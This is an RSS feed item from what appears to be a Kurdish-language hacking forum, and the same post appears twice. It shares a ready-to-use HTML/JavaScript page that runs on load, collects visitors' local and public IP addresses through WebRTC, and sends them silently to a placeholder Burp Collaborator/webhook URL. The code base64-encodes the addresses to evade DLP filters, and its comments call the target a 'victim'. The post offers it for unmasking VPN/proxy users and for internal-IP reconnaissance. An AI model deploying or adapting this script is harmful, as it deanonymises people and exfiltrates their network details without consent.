			<description><![CDATA[Au katatan bash, bburn ba latini danusm, linux bakar denm u keyboardi kurdim nya...<br />
<br />
7azm krd au scriptatan lagall share kam, lera ba kurti petan dallem bochi bakar det:<br />
1. agar kasek VPN yan Proxy sh bakar bene, handek jar IP yakay be WebRTC leak dabet, wata datwani IP rastaqinay bozitawa<br />
2. agar la website yan application ek binit server request bo url akat daneret, bo nmuna webhook, datwani au script a bakar benit bo away internal IP yan Origin IP pe bdozitawa, ka zor basuda bo Recon<br />
<br />
```<br />
&lt;!DOCTYPE html&gt;<br />
&lt;html lang="en"&gt;<br />
&lt;head&gt;<br />
&lt;meta charset="utf-8"&gt;<br />
&lt;title&gt;Automated WebRTC IP Leak PoC&lt;/title&gt;<br />
&lt;style&gt;<br />
  body { font-family: system-ui, monospace; max-width: 800px; margin: 2em auto; padding: 0 1em; background: #0a0a0a; color: #eee; }<br />
  h1 { font-size: 1.2em; border-bottom: 1px solid #333; padding-bottom: 0.5em; }<br />
  #status { color: #f90; font-weight: bold; margin-bottom: 1em; }<br />
  #out { background: #111; color: #0f0; padding: 1em; white-space: pre-wrap; font-family: 'Courier New', monospace; font-size: 13px; border-radius: 6px; border: 1px solid #333; min-height: 250px; }<br />
  .label { color: #888; }<br />
  .ip-public { color: #ff5; font-weight: bold; }<br />
  .ip-local  { color: #5cf; font-weight: bold; }<br />
&lt;/style&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
  &lt;h1&gt;Automated WebRTC Analysis&lt;/h1&gt;<br />
  &lt;div id="status"&gt;Status: Initializing Automated ICE Gathering...&lt;/div&gt;<br />
  &lt;div id="out"&gt;<br />
[*]Waiting for browser engine...&lt;/div&gt;<br />
<br />
&lt;script&gt;<br />
const out = document.getElementById('out');<br />
const status = document.getElementById('status');<br />
const seen = new Set();<br />
// Your Burp Collaborator payload URL<br />
const collabUrl = "https://&lt;YOUR COLLAB URL&gt;";<br />
<br />
function log(line, cls) {<br />
  const span = document.createElement('span');<br />
  if (cls) span.className = cls;<br />
  span.textContent = line + '\n';<br />
  out.appendChild(span);<br />
}<br />
<br />
function parseCandidate(cand) {<br />
  const parts = cand.split(' ');<br />
  return {<br />
    protocol: parts[2],<br />
    ip: parts[4],<br />
    port: parts[5],<br />
    type: parts[7]<br />
  };<br />
}<br />
<br />
function sendToCollab(type, ip, protocol) {<br />
  // Base64 encode the IP to bypass simple string-matching DLP filters<br />
  const safeIp = btoa(ip);<br />
  const endpoint = `&#36;{collabUrl}/?type=&#36;{type}&amp;proto=&#36;{protocol}&amp;ip=&#36;{safeIp}`;<br />
  <br />
  fetch(endpoint, {<br />
    method: 'GET',<br />
    mode: 'no-cors' <br />
  }).catch(err =&gt; {<br />
    // Silent fail for the victim, but logged for the researcher<br />
    console.debug("Exfiltration ping failed.");<br />
  });<br />
}<br />
<br />
async function runAutoPoc() {<br />
  out.textContent = '';<br />
  status.textContent = "Status: Gathering ICE Candidates (Automated)";<br />
  log('<br />
[*]Session Isolated. Identifying endpoint network interfaces...', 'label');<br />
<br />
  const pc = new RTCPeerConnection({<br />
    iceServers: [<br />
      { urls: 'stun<img src="https://h4kurd.online/images/smilies/confused.png" alt="Confused" title="Confused" class="smilie smilie_13" />tun.l.google.com:19302' },<br />
      { urls: 'stun<img src="https://h4kurd.online/images/smilies/confused.png" alt="Confused" title="Confused" class="smilie smilie_13" />tun1.l.google.com:19302' },<br />
      { urls: 'stun<img src="https://h4kurd.online/images/smilies/confused.png" alt="Confused" title="Confused" class="smilie smilie_13" />tun2.l.google.com:19302' }<br />
    ]<br />
  });<br />
<br />
  // Create data channel to force ICE gathering immediately<br />
  pc.createDataChannel('leak_detect');<br />
<br />
  pc.onicecandidate = (e) =&gt; {<br />
    if (!e.candidate || !e.candidate.candidate) return;<br />
    const c = parseCandidate(e.candidate.candidate);<br />
    const key = c.type + '|' + c.ip;<br />
    <br />
    if (seen.has(key)) return;<br />
    seen.add(key);<br />
<br />
    let cls = 'label';<br />
    let label = '[candidate]';<br />
    if (c.type === 'host')  { cls = 'ip-local';  label = '[HOST  / Internal]'; }<br />
    if (c.type === 'srflx') { cls = 'ip-public'; label = '[SRFLX / Public  ]'; }<br />
    <br />
    log(`&#36;{label}  &#36;{c.protocol.toUpperCase()}  &#36;{c.ip}:&#36;{c.port}`, cls);<br />
    <br />
    // Auto-Exfiltrate to Burp<br />
    sendToCollab(c.type, c.ip, c.protocol);<br />
  };<br />
<br />
  pc.onicegatheringstatechange = () =&gt; {<br />
    if (pc.iceGatheringState === 'complete') {<br />
      status.textContent = "Status: Analysis Complete";<br />
      status.style.color = "#0f0";<br />
      log('\n[+] Successful Leak. Check Burp Collaborator for OOB pings.', 'label');<br />
    }<br />
  };<br />
<br />
  try {<br />
    const offer = await pc.createOffer();<br />
    await pc.setLocalDescription(offer);<br />
  } catch (e) {<br />
    log('[!] Error triggering ICE gathering: ' + e.message, 'label');<br />
  }<br />
}<br />
<br />
// Automatically execute on page load<br />
window.addEventListener('DOMContentLoaded', runAutoPoc);<br />
&lt;/script&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
<br />
```<br />
<br />
La bir maka, &lt;COLLAB URL&gt; replace bka lagall webhook xot, zor supas.]]></description>
			<content:encoded><![CDATA[Au katatan bash, bburn ba latini danusm, linux bakar denm u keyboardi kurdim nya...<br />
<br />
7azm krd au scriptatan lagall share kam, lera ba kurti petan dallem bochi bakar det:<br />
1. agar kasek VPN yan Proxy sh bakar bene, handek jar IP yakay be WebRTC leak dabet, wata datwani IP rastaqinay bozitawa<br />
2. agar la website yan application ek binit server request bo url akat daneret, bo nmuna webhook, datwani au script a bakar benit bo away internal IP yan Origin IP pe bdozitawa, ka zor basuda bo Recon<br />
<br />
```<br />
&lt;!DOCTYPE html&gt;<br />
&lt;html lang="en"&gt;<br />
&lt;head&gt;<br />
&lt;meta charset="utf-8"&gt;<br />
&lt;title&gt;Automated WebRTC IP Leak PoC&lt;/title&gt;<br />
&lt;style&gt;<br />
  body { font-family: system-ui, monospace; max-width: 800px; margin: 2em auto; padding: 0 1em; background: #0a0a0a; color: #eee; }<br />
  h1 { font-size: 1.2em; border-bottom: 1px solid #333; padding-bottom: 0.5em; }<br />
  #status { color: #f90; font-weight: bold; margin-bottom: 1em; }<br />
  #out { background: #111; color: #0f0; padding: 1em; white-space: pre-wrap; font-family: 'Courier New', monospace; font-size: 13px; border-radius: 6px; border: 1px solid #333; min-height: 250px; }<br />
  .label { color: #888; }<br />
  .ip-public { color: #ff5; font-weight: bold; }<br />
  .ip-local  { color: #5cf; font-weight: bold; }<br />
&lt;/style&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
  &lt;h1&gt;Automated WebRTC Analysis&lt;/h1&gt;<br />
  &lt;div id="status"&gt;Status: Initializing Automated ICE Gathering...&lt;/div&gt;<br />
  &lt;div id="out"&gt;<br />
[*]Waiting for browser engine...&lt;/div&gt;<br />
<br />
&lt;script&gt;<br />
const out = document.getElementById('out');<br />
const status = document.getElementById('status');<br />
const seen = new Set();<br />
// Your Burp Collaborator payload URL<br />
const collabUrl = "https://&lt;YOUR COLLAB URL&gt;";<br />
<br />
function log(line, cls) {<br />
  const span = document.createElement('span');<br />
  if (cls) span.className = cls;<br />
  span.textContent = line + '\n';<br />
  out.appendChild(span);<br />
}<br />
<br />
function parseCandidate(cand) {<br />
  const parts = cand.split(' ');<br />
  return {<br />
    protocol: parts[2],<br />
    ip: parts[4],<br />
    port: parts[5],<br />
    type: parts[7]<br />
  };<br />
}<br />
<br />
function sendToCollab(type, ip, protocol) {<br />
  // Base64 encode the IP to bypass simple string-matching DLP filters<br />
  const safeIp = btoa(ip);<br />
  const endpoint = `&#36;{collabUrl}/?type=&#36;{type}&amp;proto=&#36;{protocol}&amp;ip=&#36;{safeIp}`;<br />
  <br />
  fetch(endpoint, {<br />
    method: 'GET',<br />
    mode: 'no-cors' <br />
  }).catch(err =&gt; {<br />
    // Silent fail for the victim, but logged for the researcher<br />
    console.debug("Exfiltration ping failed.");<br />
  });<br />
}<br />
<br />
async function runAutoPoc() {<br />
  out.textContent = '';<br />
  status.textContent = "Status: Gathering ICE Candidates (Automated)";<br />
  log('<br />
[*]Session Isolated. Identifying endpoint network interfaces...', 'label');<br />
<br />
  const pc = new RTCPeerConnection({<br />
    iceServers: [<br />
      { urls: 'stun<img src="https://h4kurd.online/images/smilies/confused.png" alt="Confused" title="Confused" class="smilie smilie_13" />tun.l.google.com:19302' },<br />
      { urls: 'stun<img src="https://h4kurd.online/images/smilies/confused.png" alt="Confused" title="Confused" class="smilie smilie_13" />tun1.l.google.com:19302' },<br />
      { urls: 'stun<img src="https://h4kurd.online/images/smilies/confused.png" alt="Confused" title="Confused" class="smilie smilie_13" />tun2.l.google.com:19302' }<br />
    ]<br />
  });<br />
<br />
  // Create data channel to force ICE gathering immediately<br />
  pc.createDataChannel('leak_detect');<br />
<br />
  pc.onicecandidate = (e) =&gt; {<br />
    if (!e.candidate || !e.candidate.candidate) return;<br />
    const c = parseCandidate(e.candidate.candidate);<br />
    const key = c.type + '|' + c.ip;<br />
    <br />
    if (seen.has(key)) return;<br />
    seen.add(key);<br />
<br />
    let cls = 'label';<br />
    let label = '[candidate]';<br />
    if (c.type === 'host')  { cls = 'ip-local';  label = '[HOST  / Internal]'; }<br />
    if (c.type === 'srflx') { cls = 'ip-public'; label = '[SRFLX / Public  ]'; }<br />
    <br />
    log(`&#36;{label}  &#36;{c.protocol.toUpperCase()}  &#36;{c.ip}:&#36;{c.port}`, cls);<br />
    <br />
    // Auto-Exfiltrate to Burp<br />
    sendToCollab(c.type, c.ip, c.protocol);<br />
  };<br />
<br />
  pc.onicegatheringstatechange = () =&gt; {<br />
    if (pc.iceGatheringState === 'complete') {<br />
      status.textContent = "Status: Analysis Complete";<br />
      status.style.color = "#0f0";<br />
      log('\n[+] Successful Leak. Check Burp Collaborator for OOB pings.', 'label');<br />
    }<br />
  };<br />
<br />
  try {<br />
    const offer = await pc.createOffer();<br />
    await pc.setLocalDescription(offer);<br />
  } catch (e) {<br />
    log('[!] Error triggering ICE gathering: ' + e.message, 'label');<br />
  }<br />
}<br />
<br />
// Automatically execute on page load<br />
window.addEventListener('DOMContentLoaded', runAutoPoc);<br />
&lt;/script&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
<br />
```<br />
<br />
La bir maka, &lt;COLLAB URL&gt; replace bka lagall webhook xot, zor supas.]]></content:encoded>
		</item>
	</channel>
</rss>